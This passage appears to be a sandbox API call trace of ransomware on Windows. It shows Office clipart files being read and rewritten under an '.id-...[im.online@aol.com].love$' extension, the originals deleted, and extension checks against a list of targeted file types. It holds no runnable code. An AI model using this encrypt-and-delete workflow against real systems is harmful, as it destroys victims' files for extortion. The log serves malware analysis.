GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x220 [0254.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0255.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0255.780] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.780] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0256.090] GetLastError () returned 0x0 [0256.090] ReadFile (in: hFile=0x548, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x9a8, lpOverlapped=0x0) returned 1 [0256.292] WriteFile (in: hFile=0x540, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x9b0, lpOverlapped=0x0) returned 1 [0256.294] ReadFile (in: hFile=0x548, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0256.294] WriteFile (in: hFile=0x540, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0256.294] SetEndOfFile (hFile=0x540) returned 1 [0256.295] CloseHandle (hObject=0x540) returned 1 [0256.295] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.295] SetEndOfFile (hFile=0x548) returned 1 [0256.300] CloseHandle (hObject=0x548) returned 1 [0256.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0256.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 1 [0256.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0256.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0256.303] lstrlenW (lpString=".doc") returned 4 [0256.303] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.303] lstrlenW (lpString=".docx") returned 5 [0256.303] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.303] lstrlenW (lpString=".pdf") returned 4 [0256.303] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.303] lstrlenW (lpString=".xls") returned 4 [0256.303] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.303] lstrlenW (lpString=".xlsx") returned 5 [0256.303] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.303] lstrlenW (lpString=".ppt") returned 4 [0256.303] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0256.304] lstrlenW (lpString=".zip") returned 4 [0256.304] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.304] lstrlenW (lpString=".rar") returned 4 [0256.304] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.304] lstrlenW (lpString=".bz2") returned 4 [0256.304] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.304] lstrlenW (lpString=".7z") returned 3 [0256.304] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0256.304] lstrlenW (lpString=".dbf") returned 4 [0256.304] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0256.304] lstrlenW (lpString=".1cd") returned 4 [0256.304] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0256.304] lstrlenW (lpString=".jpg") returned 4 [0256.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0256.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0256.304] lstrlenW (lpString=".doc") returned 4 [0256.304] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.304] lstrlenW (lpString=".docx") returned 5 [0256.304] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.304] lstrlenW (lpString=".pdf") returned 4 [0256.305] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.305] lstrlenW (lpString=".xls") returned 4 [0256.305] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.305] lstrlenW (lpString=".xlsx") returned 5 [0256.305] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.305] lstrlenW (lpString=".ppt") returned 4 [0256.305] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0256.305] lstrlenW (lpString=".zip") returned 4 [0256.305] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.306] lstrlenW (lpString=".rar") returned 4 [0256.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.306] lstrlenW (lpString=".bz2") returned 4 [0256.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.306] lstrlenW (lpString=".7z") returned 3 [0256.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0256.306] lstrlenW (lpString=".dbf") returned 4 [0256.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0256.306] lstrlenW (lpString=".1cd") returned 4 [0256.306] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0256.306] lstrlenW (lpString=".jpg") returned 4 [0256.306] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.306] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0256.306] lstrlenW (lpString="HH00527_.WMF") returned 12 [0256.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0256.308] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=5798) returned 1 [0256.308] CloseHandle (hObject=0x548) returned 1 [0256.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 0x220 [0256.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0256.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0256.309] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.309] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0256.311] GetLastError () returned 0x0 [0256.311] ReadFile (in: hFile=0x548, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x16a6, lpOverlapped=0x0) returned 1 [0256.332] WriteFile (in: hFile=0x540, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x16b0, lpOverlapped=0x0) returned 1 [0256.333] ReadFile (in: hFile=0x548, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0256.333] WriteFile (in: hFile=0x540, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0256.333] SetEndOfFile (hFile=0x540) returned 1 [0256.333] CloseHandle (hObject=0x540) returned 1 [0256.333] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.334] SetEndOfFile (hFile=0x548) returned 1 [0256.722] CloseHandle (hObject=0x548) returned 1 [0256.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0256.723] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 1 [0256.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0256.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0256.726] lstrlenW (lpString=".doc") returned 4 [0256.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.726] lstrlenW (lpString=".docx") returned 5 [0256.726] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.726] lstrlenW (lpString=".pdf") returned 4 [0256.726] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.726] lstrlenW (lpString=".xls") returned 4 [0256.726] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.726] lstrlenW (lpString=".xlsx") returned 5 [0256.726] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.726] lstrlenW (lpString=".ppt") returned 4 [0256.726] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0256.726] lstrlenW (lpString=".zip") returned 4 [0256.726] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.727] lstrlenW (lpString=".rar") returned 4 [0256.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.727] lstrlenW (lpString=".bz2") returned 4 [0256.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.727] lstrlenW (lpString=".7z") returned 3 [0256.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0256.727] lstrlenW (lpString=".dbf") returned 4 [0256.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0256.727] lstrlenW (lpString=".1cd") returned 4 [0256.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0256.727] lstrlenW (lpString=".jpg") returned 4 [0256.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0256.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0256.727] lstrlenW (lpString=".doc") returned 4 [0256.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.727] lstrlenW (lpString=".docx") returned 5 [0256.727] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.727] lstrlenW (lpString=".pdf") returned 4 [0256.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.727] lstrlenW (lpString=".xls") returned 4 [0256.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.727] lstrlenW (lpString=".xlsx") returned 5 [0256.728] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.728] lstrlenW (lpString=".ppt") returned 4 [0256.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0256.728] lstrlenW (lpString=".zip") returned 4 [0256.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.728] lstrlenW (lpString=".rar") returned 4 [0256.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.728] lstrlenW (lpString=".bz2") returned 4 [0256.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.728] lstrlenW (lpString=".7z") returned 3 [0256.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0256.728] lstrlenW (lpString=".dbf") returned 4 [0256.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0256.728] lstrlenW (lpString=".1cd") returned 4 [0256.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0256.728] lstrlenW (lpString=".jpg") returned 4 [0256.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.728] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0256.729] lstrlenW (lpString="HH00625_.WMF") returned 12 [0256.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0256.730] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2116) returned 1 [0256.730] CloseHandle (hObject=0x548) returned 1 [0256.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 0x220 [0256.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0256.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0256.731] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.731] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0256.733] GetLastError () returned 0x0 [0256.733] ReadFile (in: hFile=0x548, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x844, lpOverlapped=0x0) returned 1 [0256.821] WriteFile (in: hFile=0x3b4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x850, lpOverlapped=0x0) returned 1 [0256.822] ReadFile (in: hFile=0x548, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0256.822] WriteFile (in: hFile=0x3b4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0256.822] SetEndOfFile (hFile=0x3b4) returned 1 [0256.823] CloseHandle (hObject=0x3b4) returned 1 [0256.823] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.823] SetEndOfFile (hFile=0x548) returned 1 [0256.825] CloseHandle (hObject=0x548) returned 1 [0256.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0256.826] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 1 [0256.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0256.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0256.827] lstrlenW (lpString=".doc") returned 4 [0256.827] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.827] lstrlenW (lpString=".docx") returned 5 [0256.827] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.827] lstrlenW (lpString=".pdf") returned 4 [0256.827] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.827] lstrlenW (lpString=".xls") returned 4 [0256.827] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.828] lstrlenW (lpString=".xlsx") returned 5 [0256.828] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.828] lstrlenW (lpString=".ppt") returned 4 [0256.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0256.828] lstrlenW (lpString=".zip") returned 4 [0256.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.828] lstrlenW (lpString=".rar") returned 4 [0256.828] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.828] lstrlenW (lpString=".bz2") returned 4 [0256.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.828] lstrlenW (lpString=".7z") returned 3 [0256.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0256.828] lstrlenW (lpString=".dbf") returned 4 [0256.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0256.828] lstrlenW (lpString=".1cd") returned 4 [0256.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0256.828] lstrlenW (lpString=".jpg") returned 4 [0256.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0256.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0256.828] lstrlenW (lpString=".doc") returned 4 [0256.828] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.828] lstrlenW (lpString=".docx") returned 5 [0256.829] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.829] lstrlenW (lpString=".pdf") returned 4 [0256.829] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.829] lstrlenW (lpString=".xls") returned 4 [0256.829] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.829] lstrlenW (lpString=".xlsx") returned 5 [0256.829] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.829] lstrlenW (lpString=".ppt") returned 4 [0256.829] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0256.829] lstrlenW (lpString=".zip") returned 4 [0256.829] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.829] lstrlenW (lpString=".rar") returned 4 [0256.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.829] lstrlenW (lpString=".bz2") returned 4 [0256.829] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.829] lstrlenW (lpString=".7z") returned 3 [0256.829] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0256.829] lstrlenW (lpString=".dbf") returned 4 [0256.829] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0256.829] lstrlenW (lpString=".1cd") returned 4 [0256.829] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0256.829] lstrlenW (lpString=".jpg") returned 4 [0256.829] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.830] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0256.830] lstrlenW (lpString="HH00685_.WMF") returned 12 [0256.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0256.831] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=4032) returned 1 [0256.831] CloseHandle (hObject=0x548) returned 1 [0256.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 0x220 [0256.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0256.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 